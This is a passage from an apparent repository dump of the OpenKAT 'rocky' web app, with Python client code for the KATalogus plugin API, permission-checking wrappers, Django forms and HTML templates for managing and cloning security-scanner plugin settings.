self.session.get(f\"/v1/organisations/{quote(organization_code)}/{quote(plugin_id)}/settings\")\n\n        return response.json()\n\n    def upsert_plugin_settings(self, organization_code: str, plugin_id: str, values: dict) -> None:\n        logger.info(\"Adding plugin settings\", event_code=800023, plugin=plugin_id)\n        self.session.put(f\"/v1/organisations/{quote(organization_code)}/{quote(plugin_id)}/settings\", json=values)\n\n        logger.info(\"Upsert plugin settings\", plugin_id=plugin_id)\n\n    def delete_plugin_settings(self, organization_code: str, plugin_id: str) -> None:\n        logger.info(\"Deleting plugin settings\", event_code=800024, plugin=plugin_id)\n        self.session.delete(f\"/v1/organisations/{quote(organization_code)}/{quote(plugin_id)}/settings\")\n\n        logger.info(\"Deleted plugin settings\", plugin_id=plugin_id)\n\n    def clone_all_configuration_to_organization(self, from_organization: str, to_organization: str):\n        to_organization = quote(to_organization)\n        from_organization = quote(from_organization)\n        logger.info(\"Cloning organization settings\", event_code=910000, to_organization_code=to_organization)\n        response = self.session.post(f\"/v1/organisations/{from_organization}/settings/clone/{to_organization}\")\n\n        return response\n\n    def get_normalizers(self, organization_code: str) -> list[Normalizer]:\n        return self.get_plugins(organization_code, plugin_type=\"normalizer\")\n\n    def get_boefjes(self, organization_code: str) -> list[Boefje]:\n        return self.get_plugins(organization_code, plugin_type=\"boefje\")\n\n    def enable_plugin(self, organization_code: str, plugin: Plugin) -> None:\n        logger.info(\"Enabling plugin\", event_code=800021, plugin=plugin.id)\n\n        self._patch_plugin_state(organization_code, plugin.id, True)\n\n    def enable_boefje_by_id(self, organization_code: str, boefje_id: str) -> None:\n        self.enable_plugin(organization_code, self.get_plugin(organization_code, boefje_id))\n\n    def disable_plugin(self, organization_code: str, plugin: Plugin) -> None:\n        logger.info(\"Disabling plugin\", event_code=800022, plugin=plugin.id)\n        self._patch_plugin_state(organization_code, plugin.id, False)\n\n    def get_enabled_boefjes(self, organization_code: str) -> list[Plugin]:\n        return self.get_plugins(organization_code, plugin_type=\"boefje\", state=True)\n\n    def get_cover(self, organization_code: str, plugin_id: str) -> BytesIO:\n        # TODO: does not need to be organization-specific\n        response = self.session.get(\n            f\"/v1/organisations/{quote(organization_code)}/plugins/{quote(plugin_id)}/cover.jpg\"\n        )\n\n        return BytesIO(response.content)\n\n    def create_plugin(self, organization_code: str, plugin: Plugin) -> None:\n        try:\n            logger.info(\"Creating boefje\", event_code=800025, boefje=plugin)\n            response = self.session.post(\n                f\"/v1/organisations/{quote(organization_code)}/plugins\",\n                json=plugin.model_dump(exclude_none=True, mode=\"json\"),\n            )\n            if response.status_code == codes.CREATED:\n                logger.info(\"Plugin %s created\", plugin.name)\n            else:\n                logger.info(\"Plugin %s could not be created\", plugin.name)\n        except KATalogusHTTPStatusError:\n            logger.info(\"Plugin %s could not be created\", plugin.name)\n            raise\n\n    def edit_plugin(self, organization_code: str, plugin: Plugin) -> None:\n        try:\n            logger.info(\"Editing boefje\", event_code=800026, boefje=plugin.id)\n            response = self.session.patch(\n                f\"/v1/organisations/{quote(organization_code)}/boefjes/{plugin.id}\", json=plugin.model_dump(mode=\"json\")\n            )\n            if response.status_code == codes.NO_CONTENT:\n                logger.info(\"Plugin %s updated\", plugin.name)\n            else:\n                logger.info(\"Plugin %s could not be updated\", plugin.name)\n        except KATalogusHTTPStatusError:\n            logger.info(\"Plugin %s could not be updated\", plugin.name)\n            raise\n\n    def _patch_plugin_state(self, organization_code: str, plugin_id: str, enabled: bool) -> None:\n        logger.info(\"Toggle plugin state\", plugin_id=plugin_id, enabled=enabled)\n        plugin_id = quote(plugin_id)\n\n        self.session.patch(\n            f\"/v1/organisations/{quote(organization_code)}/plugins/{plugin_id}\", json={\"enabled\": enabled}\n        )\n\n\nclass KATalogus:\n    \"\"\"\n    An adapter between the full KATalogusClient and the organization-specific context of most views. This restricts\n    the set of available methods on the KATalogusClient and simplifies the interface by \"currying\" the organization\n    into the relevant methods as an argument. We should use this class in the views to avoid making calls exposing\n    information from other organizations users are not allowed to see.\n    \"\"\"\n\n    def __init__(self, katalogus_client: KATalogusClient, member: OrganizationMember):\n        self._katalogus_client = katalogus_client\n        self._member = member\n\n    def get_plugins(self, **params) -> list[Plugin]:\n        return self._katalogus_client.get_plugins(self._member.organization.code, **params)\n\n    def get_plugin(self, plugin_id: str) -> Plugin:\n        return self._katalogus_client.get_plugin(self._member.organization.code, plugin_id)\n\n    def get_plugin_settings(self, plugin_id: str) -> dict:\n        if not self._member.has_perm(\"tools.can_view_katalogus_settings\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to see plugin settings\"))\n\n        return self._katalogus_client.get_plugin_settings(self._member.organization.code, plugin_id)\n\n    def upsert_plugin_settings(self, plugin_id: str, values: dict) -> None:\n        if not self._member.has_perm(\"tools.can_set_katalogus_settings\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to set plugin settings\"))\n\n        return self._katalogus_client.upsert_plugin_settings(self._member.organization.code, plugin_id, values)\n\n    def delete_plugin_settings(self, plugin_id: str) -> None:\n        if not self._member.has_perm(\"tools.can_set_katalogus_settings\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to delete plugin settings\"))\n\n        return self._katalogus_client.delete_plugin_settings(self._member.organization.code, plugin_id)\n\n    def clone_all_configuration_to_organization(self, to_organization: str):\n        if not self._member.has_perm(\"tools.can_view_katalogus_settings\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to view plugin settings\"))\n\n        try:\n            to_member = OrganizationMember.objects.get(user=self._member.user, organization__code=to_organization)\n        except Organization.DoesNotExist:\n            raise\n        except OrganizationMember.DoesNotExist:\n            if not self._member.user.has_perm(\"tools.can_access_all_organizations\"):\n                raise KATalogusNotAllowedError(_(\"User is not allowed to access the other organization\"))\n            if not self._member.user.has_perm(\"tools.can_set_katalogus_settings\"):\n                raise KATalogusNotAllowedError(_(\"User is not allowed to set plugin settings\"))\n        else:\n            if to_member.blocked:\n                raise KATalogusNotAllowedError(_(\"User is not allowed to access the other organization\"))\n\n            if not to_member.has_perm(\"tools.can_set_katalogus_settings\"):\n                raise KATalogusNotAllowedError(_(\"User is not allowed to set plugin settings\"))\n\n        return self._katalogus_client.clone_all_configuration_to_organization(\n            self._member.organization.code, to_organization\n        )\n\n    def get_normalizers(self) -> list[Normalizer]:\n        return self._katalogus_client.get_normalizers(self._member.organization.code)\n\n    def get_boefjes(self) -> list[Boefje]:\n        return self._katalogus_client.get_boefjes(self._member.organization.code)\n\n    def enable_plugin(self, plugin: Plugin) -> None:\n        if not self._member.has_perm(\"tools.can_enable_disable_boefje\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to enable plugins\"))\n\n        return self._katalogus_client.enable_plugin(self._member.organization.code, plugin)\n\n    def enable_boefje_by_id(self, boefje_id: str) -> None:\n        if not self._member.has_perm(\"tools.can_enable_disable_boefje\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to enable plugins\"))\n\n        return self._katalogus_client.enable_boefje_by_id(self._member.organization.code, boefje_id)\n\n    def disable_plugin(self, plugin: Plugin) -> None:\n        if not self._member.has_perm(\"tools.can_enable_disable_boefje\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to disable plugins\"))\n\n        return self._katalogus_client.disable_plugin(self._member.organization.code, plugin)\n\n    def get_enabled_boefjes(self) -> list[Boefje]:\n        return self._katalogus_client.get_plugins(self._member.organization.code, plugin_type=\"boefje\", state=True)\n\n    def get_cover(self, plugin_id: str) -> BytesIO:\n        return self._katalogus_client.get_cover(self._member.organization.code, plugin_id)\n\n    def create_plugin(self, plugin: Plugin) -> None:\n        if not self._member.has_perm(\"tools.can_add_boefje\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to create plugins\"))\n\n        return self._katalogus_client.create_plugin(self._member.organization.code, plugin)\n\n    def edit_plugin(self, plugin: Plugin) -> None:\n        if not self._member.has_perm(\"tools.can_add_boefje\"):\n            raise KATalogusNotAllowedError(_(\"User is not allowed to edit plugins\"))\n\n        return self._katalogus_client.edit_plugin(self._member.organization.code, plugin)\n\n\ndef parse_boefje(boefje: dict) -> Boefje:\n    scan_level = SCAN_LEVEL(boefje[\"scan_level\"])\n\n    consumes = set()\n\n    for type_name in boefje.get(\"consumes\", []):\n        try:\n            consumes.add(type_by_name(type_name))\n        except TypeNotFound:\n            logger.warning(\"Unknown OOI type %s for boefje consumes %s\", type_name, boefje[\"id\"])\n\n    return Boefje(\n        id=boefje[\"id\"],\n        name=boefje.get(\"name\") or boefje[\"id\"],\n        created=boefje.get(\"created\"),\n        description=boefje.get(\"description\"),\n        interval=boefje.get(\"interval\"),\n        run_on=boefje.get(\"run_on\"),\n        enabled=boefje[\"enabled\"],\n        type=boefje[\"type\"],\n        scan_level=scan_level,\n        consumes=consumes,\n        produces=boefje[\"produces\"],\n        boefje_schema=boefje.get(\"boefje_schema\"),\n        oci_image=boefje.get(\"oci_image\"),\n        oci_arguments=boefje.get(\"oci_arguments\", []),\n    )\n\n\ndef parse_normalizer(normalizer: dict) -> Normalizer:\n    consumes = set(normalizer[\"consumes\"])\n    consumes.add(f\"normalizer/{normalizer['id']}\")\n    produces = set()\n    for type_name in normalizer.get(\"produces\", []):\n        try:\n            produces.add(type_by_name(type_name))\n        except TypeNotFound:\n            logger.warning(\"Unknown OOI type %s for normalizer produces %s\", type_name, normalizer[\"id\"])\n\n    return Normalizer(\n        id=normalizer[\"id\"],\n        name=normalizer[\"name\"],\n        description=normalizer[\"description\"],\n        enabled=normalizer[\"enabled\"],\n        type=normalizer[\"type\"],\n        consumes=consumes,\n        produces=produces,\n    )\n\n\ndef parse_plugin(plugin: dict) -> Boefje | Normalizer:\n    if plugin[\"type\"] == \"boefje\":\n        return parse_boefje(plugin)\n    elif plugin[\"type\"] == \"normalizer\":\n        return parse_normalizer(plugin)\n    else:\n        raise Exception(f\"Unknown plugin type: {plugin['type']}\")\n\n\ndef get_katalogus_client() -> KATalogusClient:\n    return KATalogusClient(settings.KATALOGUS_API)\n\n\ndef get_katalogus(member: OrganizationMember) -> KATalogus:\n    return KATalogus(get_katalogus_client(), member)\n"
  },
  {
    "path": "rocky/katalogus/exceptions.py",
    "content": "from rocky.exceptions import ServiceException\n\n\nclass KATalogusException(ServiceException):\n    def __init__(self, *args):\n        super().__init__(\"KATalogus\", *args)\n\n\nclass KATalogusDownException(KATalogusException):\n    pass\n\n\nclass KATalogusUnhealthyException(KATalogusException):\n    pass\n"
  },
  {
    "path": "rocky/katalogus/forms/__init__.py",
    "content": "from katalogus.forms.katalogus_filter import *\nfrom katalogus.forms.plugin_settings import *\n"
  },
  {
    "path": "rocky/katalogus/forms/katalogus_filter.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.base import BaseRockyForm\n\nFILTER_OPTIONS = ((\"all\", _(\"Show all\")), (\"enabled\", _(\"Enabled\")), (\"disabled\", _(\"Disabled\")))\n\nSORTING_OPTIONS = (\n    (\"a-z\", \"A-Z\"),\n    (\"z-a\", \"Z-A\"),\n    (\"enabled-disabled\", _(\"Enabled-Disabled\")),\n    (\"disabled-enabled\", _(\"Disabled-Enabled\")),\n)\n\n\nclass KATalogusFilter(BaseRockyForm):\n    \"\"\"Filter options for plugins listing in KAT-alogus.\"\"\"\n\n    filter_options = forms.ChoiceField(\n        required=False, label=_(\"Filter options\"), choices=FILTER_OPTIONS, widget=forms.RadioSelect()\n    )\n\n    sorting_options = forms.ChoiceField(\n        required=False, label=_(\"Sorting options\"), choices=SORTING_OPTIONS, widget=forms.RadioSelect()\n    )\n"
  },
  {
    "path": "rocky/katalogus/forms/plugin_settings.py",
    "content": "from typing import Any\n\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom jsonschema.validators import Draft202012Validator\n\nFIELD_TYPES = {\"string\": forms.CharField, \"integer\": forms.IntegerField, \"enum\": forms.Select}\nMAX_SETTINGS_VALUE_LENGTH = 128\n\n\nclass PluginSchemaForm(forms.Form):\n    \"\"\"This Form takes a plugin schema and turn all settings of schema into form fields.\"\"\"\n\n    error_messages = {\"required\": _(\"This field is required.\")}\n\n    def __init__(self, plugin_schema: dict, values: dict, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self.plugin_schema = plugin_schema\n        self.values = values\n        self.populate_fields()\n\n    def populate_fields(self):\n        for field_name, field_props in self.plugin_schema[\"properties\"].items():\n            kwargs = {\n                \"required\": \"required\" in self.plugin_schema and field_name in self.plugin_schema[\"required\"],\n                \"label\": field_props.get(\"title\", field_name),\n                \"help_text\": _(field_props.get(\"description\", \"\")),\n                \"error_messages\": self.error_messages,\n            }\n            if field_props[\"type\"] == \"string\":\n                kwargs[\"max_length\"] = min(\n                    MAX_SETTINGS_VALUE_LENGTH, field_props.get(\"maxLength\", MAX_SETTINGS_VALUE_LENGTH)\n                )\n\n            if field_name in self.values:\n                kwargs[\"initial\"] = self.values[field_name]\n\n            field_type = FIELD_TYPES[field_props[\"type\"]]\n            self.fields[field_name] = field_type(**kwargs)\n\n    def clean(self):\n        cleaned_data = super().clean()\n\n        # The form assigns \"\" and in some scenario's null to all unfilled (optional) fields\n        cleaned_data = {\n            key: value\n            for key, value in cleaned_data.items()\n            if value is not None and value != \"\"  # noqa: PLC1901\n        }\n\n        validator = Draft202012Validator(self.plugin_schema)\n\n        if not validator.is_valid(cleaned_data):\n            for error in validator.iter_errors(cleaned_data):\n                self.add_error(None, error.message)\n\n        return cleaned_data\n"
  },
  {
    "path": "rocky/katalogus/health.py",
    "content": "import structlog\nfrom httpx import HTTPError\n\nfrom katalogus.client import get_katalogus_client\nfrom rocky.health import ServiceHealth\n\nlogger = structlog.get_logger(__name__)\n\n\ndef get_katalogus_health() -> ServiceHealth:\n    try:\n        katalogus_client = get_katalogus_client()  # For the health endpoint the organization has no effect\n        katalogus_health = katalogus_client.health()\n    except HTTPError:\n        logger.exception(\"Error while retrieving KATalogus health state\")\n        katalogus_health = ServiceHealth(\n            service=\"katalogus\", healthy=False, additional=\"Could not connect to KATalogus. Service is possibly down\"\n        )\n    return katalogus_health\n"
  },
  {
    "path": "rocky/katalogus/templates/about_plugins.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        <section>\n            {% include \"partials/katalogus_header.html\" %}\n            {% include \"partials/plugins_navigation.html\" with active=\"about-plugins\" %}\n\n            <div>\n                <h2>{% translate \"About plugins\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Plugins gather data, objects and insight. Each plugin has its own focus area\n                        and strengths and may be able to work with other plugins to gain even more insights.\n                    {% endblocktranslate %}\n                </p>\n                <h3>Boefjes</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Boefjes are used to scan for objects. They detect vulnerabilities,\n                        security issues, and give insight. Each boefje is a separate scan that\n                        can run on a selection of objects.\n                    {% endblocktranslate %}\n                </p>\n                <h3>Normalizers</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Normalizers analyze the information and turn it into objects for the data model in Octopoes.\n                    {% endblocktranslate %}\n                </p>\n                <h3>Bits</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Bits are business rules that look for insight within the current dataset and search for specific insight and draw conclusions.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/boefje_detail.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"introduction\">\n                <div>\n                    <h1>{{ plugin.name }}</h1>\n                    {% if plugin.description %}<p class=\"emphasized\">{{ plugin.description }}</p>{% endif %}\n                    <div class=\"horizontal-view scan-intensity\">\n                        <span class=\"de-emphasized\">{% translate \"Scan level\" %}</span>\n                        {% include \"partials/scan_level_indicator.html\" with value=plugin.scan_level %}\n\n                    </div>\n                    <div class=\"horizontal-view\">\n                        {% include \"partials/enable_disable_plugin.html\" with plugin=plugin %}\n\n                    </div>\n                </div>\n                <div class=\"image-square\">\n                    <div class=\"image-container\">\n                        <img loading=\"lazy\"\n                             src=\"{% url \"plugin_cover\" organization_code=organization.code plugin_id=plugin.id %}\"\n                             alt=\"boefje placeholder image\" />\n                    </div>\n                </div>\n            </div>\n        </section>\n        {% if perms.tools.can_view_katalogus_settings and plugin_settings %}\n            <section>\n                {% include \"plugin_settings_list.html\" with object_list=plugin_settings plugin=plugin %}\n\n            </section>\n        {% endif %}\n        {% if plugin.oci_image %}\n            <section>\n                {% include \"plugin_container_image.html\" %}\n\n            </section>\n        {% endif %}\n        <section>\n            <div>\n                <h2>{% translate \"Consumes\" %}</h2>\n                {% if plugin.consumes %}\n                    <p>\n                        {% blocktranslate trimmed with plugin_name=plugin.name %}\n                            {{ plugin_name }} is able to scan the following object types:\n                        {% endblocktranslate %}\n                    </p>\n                    <p>\n                        {% for ooi_type in plugin.consumes %}\n                            <a href=\"{% url \"ooi_add\" organization_code=organization.code ooi_type=ooi_type %}\">{{ ooi_type }}</a>\n                            {% if not forloop.last %}-{% endif %}\n                        {% endfor %}\n                    </p>\n                {% else %}\n                    {% blocktranslate trimmed with plugin_name=plugin.name %}\n                        {{ plugin_name }} does not need any input objects.\n                    {% endblocktranslate %}\n                {% endif %}\n            </div>\n        </section>\n        <section>\n            <div>\n                <h2>{% translate \"Produces\" %}</h2>\n                {% if plugin.produces %}\n                    <p>\n                        {% blocktranslate trimmed with plugin_name=plugin.name %}\n                            {{ plugin_name }} can produce the following output:\n                        {% endblocktranslate %}\n                    </p>\n                    <p>\n                        <ul>\n                            {% for mime_type in plugin.produces %}<li>{{ mime_type }}</li>{% endfor %}\n                        </ul>\n                    </p>\n                {% else %}\n                    {% blocktranslate trimmed with plugin_name=plugin.name %}\n                        {{ plugin_name }} doesn't produce any output mime types.\n                    {% endblocktranslate %}\n                {% endif %}\n            </div>\n        </section>\n        <section>\n            {% include \"tasks/plugin_detail_task_list.html\" %}\n\n        </section>\n        {% if perms.tools.can_scan_organization %}\n            {% include \"partials/objects_to_scan.html\" with plugin=plugin %}\n\n        {% endif %}\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/autoSubmit.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/taskDetails.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/tabs.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/katalogus/templates/boefje_setup.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                {% if boefje_variant %}\n                    <h1>{% translate \"Boefje variant setup\" %}</h1>\n                {% elif edit_boefje_name %}\n                    <h1>{% translate \"Edit\" %} \"{{ edit_boefje_name }}\"</h1>\n                {% else %}\n                    <h1>{% translate \"Boefje setup\" %}</h1>\n                {% endif %}\n                <p>\n                    {% blocktranslate trimmed %}\n                        You can create a new Boefje. If you want more information on this,\n                        you can check out the <a href=\"https://docs.openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.html\">documentation</a>.\n                    {% endblocktranslate %}\n                </p>\n                <form action=\"\" method=\"post\" class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <div class=\"button-container\">\n                        {% if edit_boefje_name %}\n                            <button type=\"submit\">{% translate \"Save changes\" %}</button>\n                            <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=return_to_plugin_id %}\"\n                               class=\"button ghost\">{% translate \"Discard changes\" %}</a>\n                        {% elif boefje_variant %}\n                            <button type=\"submit\">{% translate \"Create variant\" %}</button>\n                            <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=return_to_plugin_id %}\"\n                               class=\"button ghost\">{% translate \"Discard variant\" %}</a>\n                        {% else %}\n                            <button type=\"submit\">{% translate \"Create new Boefje\" %}</button>\n                            <a href=\"{% url \"katalogus\" organization_code=organization.code %}\"\n                               class=\"button ghost\">{% translate \"Discard new Boefje\" %}</a>\n                        {% endif %}\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/choiceToggle.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/katalogus/templates/boefjes.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        {% include \"partials/no_enabling_permission_message.html\" %}\n\n        <section>\n            {% include \"partials/katalogus_header.html\" %}\n            {% include \"partials/plugins_navigation.html\" with active=\"boefjes\" %}\n\n            <div class=\"introduction\">\n                <div>\n                    <h2>Boefjes</h2>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Boefjes are used to scan for objects. They detect vulnerabilities,\n                            security issues, and give insight. Each boefje is a separate scan that\n                            can run on a selection of objects.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                {% if perms.tools.can_set_katalogus_settings %}\n                    <div class=\"horizontal-view toolbar\">\n                        <a class=\"button ghost\"\n                           href=\"{% url \"boefje_setup\" organization_code=organization.code %}\"><span aria-hidden=\"true\" class=\"icon ti-plus\"></span>{% translate \"Add Boefje\" %}</a>\n                    </div>\n                {% endif %}\n            </div>\n            <div>\n                {% include \"partials/katalogus_filter.html\" with form=form %}\n\n                <div class=\"fifty-fifty\">\n                    <div>\n                        <p>\n                            <strong>{{ object_list|length }}</strong> Boefje{{ object_list|pluralize:\"s\" }} {% translate \"available\" %}\n                        </p>\n                    </div>\n                    {% include \"partials/katalogus_toolbar.html\" %}\n\n                </div>\n                {% include \"partials/plugins.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/change_clearance_level.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <p class=\"warning\"\n           role=\"group\"\n           aria-label=\"{% translate \"scan level warning\" %}\">\n            <strong>Warning:</strong>\n            {% blocktranslate trimmed with plugin_name=plugin.name scan_level=plugin.scan_level %}\n                {{ plugin_name }} will only scan objects with a corresponding clearance level of <strong>L{{ scan_level }}</strong>\n                or higher.\n            {% endblocktranslate %}\n        </p>\n        <section>\n            <div>\n                <h1>{% translate \"Scan object\" %}</h1>\n                <p class=\"emphasized\">\n                    {% blocktranslate trimmed with scan_level=plugin.scan_level %}\n                        The following objects are not yet cleared for level {{ scan_level }}, please be advised that by continuing you will declare a level {{ scan_level }} on these objects.\n                    {% endblocktranslate %}\n                </p>\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption class=\"visually-hidden\">{% translate \"Selected objects\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>{% translate \"Object\" %}</th>\n                                <th>{% translate \"Clearance level\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for ooi in oois %}\n                                <tr>\n                                    <td scope=\"row\">{{ ooi.primary_key }}</td>\n                                    <td>\n                                        <ul class=\"level-indicator l{{ ooi.scan_profile.level }}\">\n                                            <li></li>\n                                            <li></li>\n                                            <li></li>\n                                            <li></li>\n                                        </ul>\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n                <p>{% translate \"Are you sure you want to scan anyways?\" %}</p>\n                <form class=\"inline\" method=\"post\">\n                    {% csrf_token %}\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Scan\" %}</button>\n                        <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=plugin.id %}\"\n                           class=\"button ghost\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/clone_settings.html",
    "content": "{% load i18n %}\n\n<section>\n    <div>\n        <h2>{% translate \"Clone settings\" %}</h2>\n        <p>\n            {% blocktranslate with current_organization=organization.name trimmed %}\n                Use the form below to clone the settings from <strong>{{ current_organization }}</strong> to the selected organization.\n                This includes both the KAT-alogus settings as well as enabled and disabled plugins.\n            {% endblocktranslate %}\n        </p>\n        <form action=\"{% url \"katalogus_settings\" organization.code %}\"\n              method=\"post\"\n              class=\"help\"\n              novalidate>\n            {% csrf_token %}\n            {% include \"partials/form/fieldset.html\" with legend=name fields=form %}\n\n            <button class=\"button\" type=\"submit\">{% translate \"Clone settings\" %}</button>\n        </form>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/katalogus/templates/confirmation_clone_settings.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Clone settings\" %}</h1>\n                <p class=\"emphasized\">\n                    Override both the KAT-alogus settings as well as enabled and disabled plugins of organization <i>{{ to_organization }}</i>.\n                </p>\n                <p>Be aware that:</p>\n                <ul>\n                    <li>\n                        All plugins currently enabled for <i>{{ organization.name }}</i> will also be enabled for <i>{{ to_organization }}</i>.\n                    </li>\n                    <li>\n                        All other plugins will be disabled for <i>{{ to_organization }}</i>.\n                    </li>\n                    <li>\n                        Plugin settings for <i>{{ organization.name }}</i>, such as API keys, will overwrite the plugin settings for <i>{{ to_organization }}</i>.\n                    </li>\n                    <li>\n                        Plugin settings from <i>{{ to_organization }}</i> that do not appear in <i>{{ organization.name }}</i> will remain unchanged.\n                    </li>\n                </ul>\n                <p>\n                    <strong>Are you sure you want to clone all KAT-alogus settings from organization <i>{{ organization.name }}</i> into organization <i>{{ to_organization }}</i>?</strong>\n                </p>\n                <form class=\"inline\" method=\"post\">\n                    {% csrf_token %}\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Clone\" %}</button>\n                        <a href=\"{% url \"katalogus_settings\" organization.code %}\"\n                           class=\"button ghost\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/katalogus.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        {% include \"partials/no_enabling_permission_message.html\" %}\n\n        <section>\n            {% include \"partials/katalogus_header.html\" %}\n            {% include \"partials/plugins_navigation.html\" with active=\"all\" %}\n\n            <div class=\"introduction\">\n                <div>\n                    <h2>{% translate \"All plugins\" %}</h2>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Plugins gather data, objects and insight. Each plugin has its own focus area\n                            and strengths and may be able to work with other plugins to gain even more insights.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </div>\n            <div>\n                {% include \"partials/katalogus_filter.html\" with form=form %}\n\n                <div class=\"fifty-fifty\">\n                    <p>\n                        <strong>{{ object_list|length }}</strong> Plugin{{ object_list|pluralize:\"s\" }} {% translate \"available\" %}\n                    </p>\n                    {% include \"partials/katalogus_toolbar.html\" %}\n\n                </div>\n                {% include \"partials/plugins.html\" with active=\"all\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/katalogus_settings.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"KAT-alogus settings\" %}</h1>\n                {% if not settings %}\n                    <p>{% translate \"There are currently no settings defined. Add settings at the plugin detail page.\" %}</p>\n                    <a class=\"button\" href=\"{% url 'katalogus' organization.code %}\">{% translate \"Go back\" %}</a>\n                {% else %}\n                    <p class=\"emphasized\">{% translate \"This is an overview of the latest settings of all plugins.\" %}</p>\n                    <div class=\"horizontal-scroll\">\n                        <table>\n                            <caption class=\"visually-hidden\">{% translate \"Latest plugin settings\" %}</caption>\n                            <thead>\n                                <tr>\n                                    <th scope=\"col\">{% translate \"Plugin\" %}</th>\n                                    <th scope=\"col\">{% translate \"Name\" %}</th>\n                                    <th scope=\"col\">{% translate \"Value\" %}</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for setting in settings %}\n                                    <tr>\n                                        <td>\n                                            <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=setting.plugin_id %}\">{{ setting.plugin_name }}</a>\n                                        </td>\n                                        <td>{{ setting.name }}</td>\n                                        <td>{{ setting.value }}</td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                        {% include \"partials/pagination.html\" %}\n\n                    </div>\n                    <div role=\"group\"></div>\n                {% endif %}\n            </div>\n        </section>\n        {% if form.fields %}\n            {% include \"clone_settings.html\" %}\n\n        {% endif %}\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/normalizer_detail.html",
